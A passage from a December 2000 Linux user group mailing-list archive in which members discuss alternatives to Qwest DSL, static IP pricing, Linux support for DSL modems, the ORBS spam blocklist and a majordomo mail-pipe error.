claiming that there is too much noise on my > line now (whatever) and refuse to continue to give me service > even though I've been paying them $100/month (which they > dont seem to care about) for over 2 years (do the math). > > I live in Eden Prairie, does anyone know what other services > are available in my area? Im not too concerned with bandwidth > as much as i am being able to lease a static subnet and have > DNS deletgated to my servers. > > If anyone out there had any info, please let me know!!! > > And if I ever get rich and/or start my own busniess or even > have any influence on phone/ISP services (like at my current > company where we pay Qworst millions) I will do all I can > to NOT give them any business. I hate them with a passion. > I've dealt with them for the past 2 and half years and their > service has been horrible when I've had to make any changes. > They're also feeding me DSL tech crap for excuses that I > know are lies. Arrrggghhhh!!! Its almost the year 2001 and > stupid companies cant figure this stuff out? > > Does any one know if RoadRunner will lease me at least 8 static > IP's for a cable modem service? Or any other ISP service > out there? > > Frustrated, > Jason > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From b.layer at vikingelectronics.com Wed Dec 20 14:30:03 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:02 2005 Subject: C-64 TCP/IP (Was: Re: [TCLUG] Qworst Select DSL and Linux ?) In-Reply-To: <20001220134213.A948@sherohman.org> References: <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18> <20001220122508.A17254@real-time.com> <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18> Message-ID: <4.3.2.7.2.20001220142741.00d28100@192.168.210.18> It's way cool... Multitasking kernel & TCP/IP stack for the C-64. http://lng.sourceforge.net/ At 01:42 PM 12/20/00 -0600, you wrote: >On Wed, Dec 20, 2000 at 01:30:13PM -0600, Bill Layer wrote: > > I run the Cisco 675 external, and it's perfectly linux-friendly... BSD > > friendly, CP/M friendly, C-64 friendly etc. > >C-64 friendly? Do they make ethernet adapters and TCP stacks for those? Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" From ecrist at ardent-hacker.net Wed Dec 20 14:29:34 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <394E263D7458ED4F91DA2A3066B8C18DB0A6F8@MSP-MAIL01.IR> References: <394E263D7458ED4F91DA2A3066B8C18DB0A6F8@MSP-MAIL01.IR> Message-ID: <00122014315403.91723@armageddon.ardent-hacker.net> > Check out www.dslreports.com they can hook you up with others in the area. > > I use Qworst but I can look out the window at the CO. I also can (almost) see the CO from my apt, so that may mean I'll naturally get better service than most. > > Phonix dsl, Covad ( I have heard horror stories), telocity are all names I > have heard co-workers using. > But are any of them really any better than the others? > > The only choice I am very glad I made was to have VISI host my DSL, real > human support, they let you know of planned outages > and have been very helpfull. > I toured/applied with VISI last week. Mike is the sysadmin there, and he's one of the coolest guys I know. VISI's got the best setup from what I've seen (sorry, haven't toured Real-Time). Hopefully, VISI will hire my sometime in January! Eric > Brad > > -----Original Message----- > From: Jason DeStefano [mailto:destef@destef.com] > Sent: Wednesday, December 20, 2000 12:57 PM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Alternatives to Qwaste DSL > > > > Well, those dip-shits at qwaste have screwed me once again. > I moved to a different apartment within the same building > and they are claiming that there is too much noise on my > line now (whatever) and refuse to continue to give me service > even though I've been paying them $100/month (which they > dont seem to care about) for over 2 years (do the math). > > I live in Eden Prairie, does anyone know what other services > are available in my area? Im not too concerned with bandwidth > as much as i am being able to lease a static subnet and have > DNS deletgated to my servers. > > If anyone out there had any info, please let me know!!! > > And if I ever get rich and/or start my own busniess or even > have any influence on phone/ISP services (like at my current > company where we pay Qworst millions) I will do all I can > to NOT give them any business. I hate them with a passion. > I've dealt with them for the past 2 and half years and their > service has been horrible when I've had to make any changes. > They're also feeding me DSL tech crap for excuses that I > know are lies. Arrrggghhhh!!! Its almost the year 2001 and > stupid companies cant figure this stuff out? > > Does any one know if RoadRunner will lease me at least 8 static > IP's for a cable modem service? Or any other ISP service > out there? > > Frustrated, > Jason > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From esper at sherohman.org Wed Dec 20 14:37:36 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? In-Reply-To: <20001220141212.G74786@sorry.cs.umn.edu>; from dopp@acm.cs.umn.edu on Wed, Dec 20, 2000 at 02:12:12PM -0600 References: <20001220122508.A17254@real-time.com> <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18> <20001220141212.G74786@sorry.cs.umn.edu> Message-ID: <20001220143736.B948@sherohman.org> On Wed, Dec 20, 2000 at 02:12:12PM -0600, dopp@acm.cs.umn.edu wrote: > An unattributed poster said: > > USWest (now Qworst) does suck pretty bad, but FWIW, my DSL experience with > > them has been pretty decent. Also, they screwed up my initial order, and I > > got both the 675 and the 2100 modems, and never got charged for the 2100 :) > > What's more, even though I only pay for the 256K service, I got bumped to > > 640K with everyone else, at no additional charge. Free is good. > > > That's not a screw-up. They give the 2100 free to every new DSL customer > whether the customer is getting a 675 or not. Then they screwed mine up. I only got the 675. (Not that I'd want a 2100...) -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From andyzb at ltiflex.com Wed Dec 20 14:41:23 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] RE: [TCLUG:23907] Job (Was Unix/Linux sweat shops) References: Message-ID: <3A411973.25376301@ltiflex.com> > and maybe tidy up the "look" (after all, even home ec. majors are HTML > experts these days...in face isnt everyone? ). Not me, just look at http://www.itouthouse.com :) Ok, I slapped it together in 5 minutes with VIM, and yes I could do better, but maye I don't wanna! :P I personally distribute my resume in PDF format. At least with PDF you always know how your resume will display and/or print. The original document was actually created in Star Office, printed to file, and then ps2pdf. Yeah, there are more elegant soultions, but my resume started as a word document (created before my conversion!) and laziness have kept me from redoing in in LaTex or something more elegant. :) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From mjn at umn.edu Wed Dec 20 14:55:31 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] bueller? Message-ID: Anyone know how i can get around this little problem? ----- The following addresses had permanent fatal errors ----- "| /majordomo/old_host_notify.pl" (reason: 9) (expanded from: script_test) ----- Transcript of session follows ----- No recipient!No recipient! 554 5.3.0 "| /majordomo/old_host_notify.pl"... unknown mailer error 9 All I want to happen is for incoming mail to an address be piped to a script and processed by it. Suggestions? I'd be willing to push the emails to a directory and run the script periodically but I haven't been able to get that to work either... help ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From destef at destef.com Wed Dec 20 14:55:35 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <20001220134635.J24042@ringworld.org> Message-ID: Pretty much. I have my own domain, do my own DNS (forward and reverse), email, the whole 9 yards. I also develop network monitoring software and custom firewalls, etc. and my own network is my test-bed. I *want* the rest of the world to have full access to my network and I need to be able to sniff what I see (try getting an ISP to let me run a sniffer). And I need access to all 5+ machines externally from potentially anywhere. Worst case I can downgrade to cable or something and write my own proxy program to simulate a real network, but I want to explore all my *real* options first. yeah, i know i wierd... On Wed, 20 Dec 2000, Scott Dier wrote: > * Jason DeStefano [001220 13:38]: > > to them. I do network software development and having my own > > "real network" on the internet is important. Do you know what > > So, this development requires return paths to 5 machines from the > outside internet without a initiation from these machines? > > As in, you are developing services that *have* to be accessable from > more than one machine? > > From jasonj at innominatus.com Wed Dec 20 15:16:07 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL Message-ID: <3A412196.E64F291A@innominatus.com> The following is my pleasant experience with Onvoy/Covad. If you could care less don't read anymore. US West told me I couldn't have DSL, for some reason my line failed the loop back test. I then discovered they had a digital splitter on my line so they could split the one piece of copper running to my house into 2 phone lines. This is why the loop back was failing. Even though I explained this to 4 different phone rep's they still would do nothing about it. I live well within a mile of my CO. I called covad, the rep told me within minutes that dsl was available to me and that I was within a mile and a good candidate for dsl. We scheduled an appointment for installation. That day came and I was at home early for the installer. The installer showed up 2.5 hours earlier than agreed upon and asked if it would be ok to start. I said SURE and he then proceeded to figure out the best way to run a high quality phone line from the trunk before the splitter to the room in my house where I wanted the dsl. After that was installed he tried to use there speedstream dsl router on the line. It would not sync up at any dsl speeds from 768k down. He tried 2 more of the same type of router with no luck. He then went out to the truck and got a flowpoint 4 port manageable sdsl router and tried that. It worked rather quickly. So he told me that I was getting a good deal because he was going to be leaving me this very expensive manageable router instead of the cheapy dumb speedstream. I was very happy with that as I was not going to be charged any extra. And to top that off I got that $150 covad rebate off the equipment. Now that everything is installed and working at 768k/768k I continue to get GREAT speeds and low latency for longer than 6 months. For example in quake 3 the first page of available multiplayer games are usually all less than 40-50 ping. I usually play on a 20-30 ping server. I run multiple domains, email, quake server, dns, and alot of other services. Onvoy even put in a reverse dns entry for my domain in there records. Onvoy is treating me like a business fractional T1 account without the business cost. Very happy with Onvoy/Covad! Very peeved at Qwest(US West) From ecrist at ardent-hacker.net Wed Dec 20 15:17:21 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: <3A412196.E64F291A@innominatus.com> References: <3A412196.E64F291A@innominatus.com> Message-ID: <00122015174001.94639@armageddon.ardent-hacker.net> How do their prices rate for the DSL, static IPs and such? Eric On Wed, 20 Dec 2000, you wrote: > The following is my pleasant experience with Onvoy/Covad. If you could > care less don't read anymore. > > US West told me I couldn't have DSL, for some reason my line failed > the loop back test. I then discovered they had a digital splitter on my > line so they could split the one piece of copper running to my house > into > 2 phone lines. This is why the loop back was failing. Even though I > explained > this to 4 different phone rep's they still would do nothing about it. I > live well within a mile of my CO. > > I called covad, the rep told me within minutes that dsl was available > to me and that I was within a mile and a good candidate for dsl. We > scheduled > an appointment for installation. That day came and I was at home early > for the installer. The installer showed up 2.5 hours earlier than agreed > upon and asked > if it would be ok to start. I said SURE and he then proceeded to figure > out the best way to run a high quality phone line from the trunk before > the splitter to the room in my house where I wanted the dsl. After > that was installed he tried to use there speedstream dsl router on the > line. It would not sync up at any dsl speeds from 768k down. He tried 2 > more of the same type of router with no luck. He then went out to the > truck > and got a flowpoint 4 port manageable sdsl router and tried that. It > worked > rather quickly. So he told me that I was getting a good deal because he > was going to be leaving me this very expensive manageable router instead > > of the cheapy dumb speedstream. I was very happy with that as I was not > going to be charged any extra. And to top that off I got that $150 covad > > rebate off the equipment. > > Now that everything is installed and working at 768k/768k I continue > to get GREAT speeds and low latency for longer than 6 months. For > example > in quake 3 the first page of available multiplayer games are usually all > > less than 40-50 ping. I usually play on a 20-30 ping server. > > I run multiple domains, email, quake server, dns, and alot of other > services. Onvoy even put in a reverse dns entry for my domain in there > records. Onvoy is treating me like a business fractional T1 account > without the business cost. > > Very happy with Onvoy/Covad! Very peeved at Qwest(US West) > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From psp at printwareinc.com Wed Dec 20 15:18:53 2000 From: psp at printwareinc.com (Phil Plumbo) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL Message-ID: <20001220211852030.AAA152@sumo> >Onvoy is treating me like a business fractional T1 account >without the business cost. Had to ask - what is the cost? Phil Plumbo | Printware, Inc. | psp@printwareinc.com | 1270 Eagan Industrial Rd. | voice: 651-456-1400 http://printwareinc.com | St. Paul, MN 55121 USA | fax: 651-454-3684 From destef at destef.com Wed Dec 20 15:22:20 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: <3A412196.E64F291A@innominatus.com> Message-ID: On Wed, 20 Dec 2000, Jason J wrote: Just called onvoy. They dont provide DSL aymore. They only provide ISP service to Qwaste DSL customers. Go figure... > The following is my pleasant experience with Onvoy/Covad. If you could > care less don't read anymore. > > US West told me I couldn't have DSL, for some reason my line failed > the loop back test. I then discovered they had a digital splitter on my > line so they could split the one piece of copper running to my house > into > 2 phone lines. This is why the loop back was failing. Even though I > explained > this to 4 different phone rep's they still would do nothing about it. I > live well within a mile of my CO. > > I called covad, the rep told me within minutes that dsl was available > to me and that I was within a mile and a good candidate for dsl. We > scheduled > an appointment for installation. That day came and I was at home early > for the installer. The installer showed up 2.5 hours earlier than agreed > upon and asked > if it would be ok to start. I said SURE and he then proceeded to figure > out the best way to run a high quality phone line from the trunk before > the splitter to the room in my house where I wanted the dsl. After > that was installed he tried to use there speedstream dsl router on the > line. It would not sync up at any dsl speeds from 768k down. He tried 2 > more of the same type of router with no luck. He then went out to the > truck > and got a flowpoint 4 port manageable sdsl router and tried that. It > worked > rather quickly. So he told me that I was getting a good deal because he > was going to be leaving me this very expensive manageable router instead > > of the cheapy dumb speedstream. I was very happy with that as I was not > going to be charged any extra. And to top that off I got that $150 covad > > rebate off the equipment. > > Now that everything is installed and working at 768k/768k I continue > to get GREAT speeds and low latency for longer than 6 months. For > example > in quake 3 the first page of available multiplayer games are usually all > > less than 40-50 ping. I usually play on a 20-30 ping server. > > I run multiple domains, email, quake server, dns, and alot of other > services. Onvoy even put in a reverse dns entry for my domain in there > records. Onvoy is treating me like a business fractional T1 account > without the business cost. > > Very happy with Onvoy/Covad! Very peeved at Qwest(US West) > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From destef at destef.com Wed Dec 20 15:30:06 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: <20001220211852030.AAA152@sumo> Message-ID: Here is what they told me: 5 IP's 25 IP's (not sure how they come up with 25) 256K ADSL (web surfer) $39 $79 640K SDSL (soho) $59 $99 Assume a one-time fee of the same about for install. I asked about reverse DNS and they told me to call another number. On Wed, 20 Dec 2000, Phil Plumbo wrote: > >Onvoy is treating me like a business fractional T1 account > >without the business cost. > > > Had to ask - what is the cost? > > Phil Plumbo | Printware, Inc. | > psp@printwareinc.com | 1270 Eagan Industrial Rd. | voice: 651-456-1400 > http://printwareinc.com | St. Paul, MN 55121 USA | fax: 651-454-3684 > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tobytoo at black-hole.com Wed Dec 20 15:37:22 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? References: <20001220122508.A17254@real-time.com> Message-ID: <3A412692.4BDCF413@black-hole.com> My Intel Pro card from Qwestionable works fine under Linux, I switched back in Sept. the driver is Intel Pro 100 on my machine. Bob Tanner wrote: > Just had a client swing over to Real Time's ATM link for DSL Select service, BUT > they are a linux user. > > Will this even work? > > Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under Linux? > > Looking at the 2.2.x kernel I cannot find a driver for it. > > Anyone? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From jacque at fruitioninc.com Wed Dec 20 15:35:34 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL References: Message-ID: <3A412626.C8F5693D@fruitioninc.com> > Just called onvoy. They dont provide DSL aymore. They only > provide ISP service to Qwaste DSL customers. Go figure... > yeah I just read an article in "city business" that they were going to "phase out" their access and focus on hosting for large companies. I also read that soutwestern bell is going to be competing for some of the twin cities market in january. I wonder if they'll be any better than qworst. ~j From tanner at real-time.com Wed Dec 20 15:46:26 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] ORBs Message-ID: <20001220154626.N27845@real-time.com> Well, the poll shows strong preference to use orbs on the tclug mailing lists. Unless some of you cheated. :-P So, I'd like to install it, any other PRODUCTIVE comments on this? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jasonj at innominatus.com Wed Dec 20 16:12:27 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL References: <3A412196.E64F291A@innominatus.com> <00122015174001.94639@armageddon.ardent-hacker.net> Message-ID: <3A412ECB.A6EF1B9E@innominatus.com> I pay $70/month for the line and the service. I sure hope they dont drop my dsl service from what Jacque just said. Eric F Crist wrote: > How do their prices rate for the DSL, static IPs and such? > > Eric > > On Wed, 20 Dec 2000, you wrote: > > The following is my pleasant experience with Onvoy/Covad. If you could > > care less don't read anymore. > > > > US West told me I couldn't have DSL, for some reason my line failed > > the loop back test. I then discovered they had a digital splitter on my > > line so they could split the one piece of copper running to my house > > into > > 2 phone lines. This is why the loop back was failing. Even though I > > explained > > this to 4 different phone rep's they still would do nothing about it. I > > live well within a mile of my CO. > > > > I called covad, the rep told me within minutes that dsl was available > > to me and that I was within a mile and a good candidate for dsl. We > > scheduled > > an appointment for installation. That day came and I was at home early > > for the installer. The installer showed up 2.5 hours earlier than agreed > > upon and asked > > if it would be ok to start. I said SURE and he then proceeded to figure > > out the best way to run a high quality phone line from the trunk before > > the splitter to the room in my house where I wanted the dsl. After > > that was installed he tried to use there speedstream dsl router on the > > line. It would not sync up at any dsl speeds from 768k down. He tried 2 > > more of the same type of router with no luck. He then went out to the > > truck > > and got a flowpoint 4 port manageable sdsl router and tried that. It > > worked > > rather quickly. So he told me that I was getting a good deal because he > > was going to be leaving me this very expensive manageable router instead > > > > of the cheapy dumb speedstream. I was very happy with that as I was not > > going to be charged any extra. And to top that off I got that $150 covad > > > > rebate off the equipment. > > > > Now that everything is installed and working at 768k/768k I continue > > to get GREAT speeds and low latency for longer than 6 months. For > > example > > in quake 3 the first page of available multiplayer games are usually all > > > > less than 40-50 ping. I usually play on a 20-30 ping server. > > > > I run multiple domains, email, quake server, dns, and alot of other > > services. Onvoy even put in a reverse dns entry for my domain in there > > records. Onvoy is treating me like a business fractional T1 account > > without the business cost. > > > > Very happy with Onvoy/Covad! Very peeved at Qwest(US West) > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- > Eric F Crist > System Administrator > Ardent-Hacker.net > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From ben at nerp.net Wed Dec 20 16:01:56 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] ORBs In-Reply-To: <20001220154626.N27845@real-time.com> Message-ID: well, I had to remove orbs from my sysetem, it cought all the normal spam I got, and also all email from hotmail, geeks.linux.com (at above.net orbs/rbl war) and email from road Runner users.. (properly filtered through roadrunner servers, not direct from cable modems) for this network, i think orbs would work out.. because we have a restricted to/from list.. but beond that.. ORBS is a bit overboard Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Wed, 20 Dec 2000, Bob Tanner wrote: > Well, the poll shows strong preference to use orbs on the tclug mailing lists. > Unless some of you cheated. :-P > > So, I'd like to install it, any other PRODUCTIVE comments on this? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Wed Dec 20 16:12:19 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? References: <20001220122508.A17254@real-time.com> <3A412692.4BDCF413@black-hole.com> Message-ID: <3A412EC3.495C1BCC@ltiflex.com> "b. toberman" wrote: > > My Intel Pro card from Qwestionable works fine under Linux, I switched back in > Sept. the driver is Intel Pro 100 on my machine. > > > Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under Linux? An Intel Pro NIC and the Intel Pro 2100 DSL modem are two different beasts. Intel NICs work great under linux, the DSL modem doesn't, and probally never will. (I haven't heard anything to the contrary anyway). The Cisco modem/router thing just gives you an ethernet jack, thus the only OS driver needed is for your NIC. I have a feeling that Qwest Select customers get peeved when they discover that their net connection isn't always on and disconnects after 2 hours wether you're using it or not. Most of the people I talked to while doing ISP tech support saw value fly out the window when the 2 hour time limit came into play. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From dieman at ringworld.org Wed Dec 20 16:18:30 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: ; from destef@destef.com on Wed, Dec 20, 2000 at 12:55:35PM -0800 References: <20001220134635.J24042@ringworld.org> Message-ID: <20001220161830.K24042@ringworld.org> * Jason DeStefano [001220 14:57]: > Worst case I can downgrade to cable or something and write > my own proxy program to simulate a real network, but I > want to explore all my *real* options first. You should seriously look into IPSEC tunnels. I'm sick and tired of seeing useless wastes of IPv4 space. People dont need an ip for every damned client, until IPv6 is in place. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/06457c34/attachment.pgp From tanner at real-time.com Wed Dec 20 16:20:28 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <20001220161830.K24042@ringworld.org>; from dieman@ringworld.org on Wed, Dec 20, 2000 at 04:18:30PM -0600 References: <20001220134635.J24042@ringworld.org> <20001220161830.K24042@ringworld.org> Message-ID: <20001220162028.A8735@real-time.com> Quoting Scott Dier (dieman@ringworld.org): > * Jason DeStefano [001220 14:57]: > > Worst case I can downgrade to cable or something and write > > my own proxy program to simulate a real network, but I > > want to explore all my *real* options first. > > You should seriously look into IPSEC tunnels. I'm sick and tired of > seeing useless wastes of IPv4 space. People dont need an ip for every > damned client, until IPv6 is in place. Hear, hear! Or do NAT. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jacque at fruitioninc.com Wed Dec 20 16:32:10 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL References: <3A412196.E64F291A@innominatus.com> <00122015174001.94639@armageddon.ardent-hacker.net> <3A412ECB.A6EF1B9E@innominatus.com> Message-ID: <3A41336A.21697043@fruitioninc.com> http://www.bizjournals.com/twincities/stories/2000/11/27/story1.html ~jacque Jason J wrote: > > I pay $70/month for the line and the service. > > I sure hope they dont drop my dsl service from what Jacque just said. > > Eric F Crist wrote: > > > How do their prices rate for the DSL, static IPs and such? > > > > Eric > > > > On Wed, 20 Dec 2000, you wrote: > > > The following is my pleasant experience with Onvoy/Covad. If you could > > > care less don't read anymore. > > > > > > US West told me I couldn't have DSL, for some reason my line failed > > > the loop back test. I then discovered they had a digital splitter on my > > > line so they could split the one piece of copper running to my house > > > into > > > 2 phone lines. This is why the loop back was failing. Even though I > > > explained > > > this to 4 different phone rep's they still would do nothing about it. I > > > live well within a mile of my CO. > > > > > > I called covad, the rep told me within minutes that dsl was available > > > to me and that I was within a mile and a good candidate for dsl. We > > > scheduled > > > an appointment for installation. That day came and I was at home early > > > for the installer. The installer showed up 2.5 hours earlier than agreed > > > upon and asked > > > if it would be ok to start. I said SURE and he then proceeded to figure > > > out the best way to run a high quality phone line from the trunk before > > > the splitter to the room in my house where I wanted the dsl. After > > > that was installed he tried to use there speedstream dsl router on the > > > line. It would not sync up at any dsl speeds from 768k down. He tried 2 > > > more of the same type of router with no luck. He then went out to the > > > truck > > > and got a flowpoint 4 port manageable sdsl router and tried that. It > > > worked > > > rather quickly. So he told me that I was getting a good deal because he > > > was going to be leaving me this very expensive manageable router instead > > > > > > of the cheapy dumb speedstream. I was very happy with that as I was not > > > going to be charged any extra. And to top that off I got that $150 covad > > > > > > rebate off the equipment. > > > > > > Now that everything is installed and working at 768k/768k I continue > > > to get GREAT speeds and low latency for longer than 6 months. For > > > example > > > in quake 3 the first page of available multiplayer games are usually all > > > > > > less than 40-50 ping. I usually play on a 20-30 ping server. > > > > > > I run multiple domains, email, quake server, dns, and alot of other > > > services. Onvoy even put in a reverse dns entry for my domain in there > > > records. Onvoy is treating me like a business fractional T1 account > > > without the business cost. > > > > > > Very happy with Onvoy/Covad! Very peeved at Qwest(US West) > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > > Eric F Crist > > System Administrator > > Ardent-Hacker.net > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Wed Dec 20 17:18:54 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <20001220131904.I24042@ringworld.org> Message-ID: On Wed, 20 Dec 2000, Scott Dier wrote: > Is there any true reason that you need static IP's at home? Is there a > problem with colocating a machine at an ISP, and then getting 'normal' > high speed internet at home? For hobby users, yes. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Dec 20 17:24:25 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Re:[TCLUG]Alternatives to Qwaste DSL In-Reply-To: Message-ID: On Wed, 20 Dec 2000, Jason DeStefano wrote: > Just called onvoy. They dont provide DSL aymore. They only > provide ISP service to Qwaste DSL customers. Go figure... Ah, so that's the deal. One of my clients called me up the other day, saying that his Covad rep called him up and told him that Onvoy's DSL service was going away.. but the Covad guy had things wrong, and said Onvoy is going out of business. :) So, I guess I get out of my contract with Onvoy and get to pick a decent ISP, eh? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From andy at theasis.com Wed Dec 20 11:38:27 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:14:03 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <20001220161830.K24042@ringworld.org> Message-ID: > * Jason DeStefano [001220 14:57]: > > Worst case I can downgrade to cable or something and write > > my own proxy program to simulate a real network, but I > > want to explore all my *real* options first. > > You should seriously look into IPSEC tunnels. I'm sick and tired of > seeing useless wastes of IPv4 space. People dont need an ip for every > damned client, until IPv6 is in place. And who decides what is "useless"? Someone else's decision rule for what's important is likely to be different than yours. Address space is generally allocated in an inefficient manner. Sure, there are ways to reduce one's requirements for routable addresses. Why not let economics decide? If I'm willing to pay for a routable block, then the provider I buy it from sets the price according to simple supply & demand rules. If Jason or anyone else is aware of those other options, and doesn't find them adequate, or simply doesn't have time to mess with them, then what's so evil about his paying for the block? If it's not available, then it'll be prohibitively expensive. Andy From hick0088 at tc.umn.edu Wed Dec 20 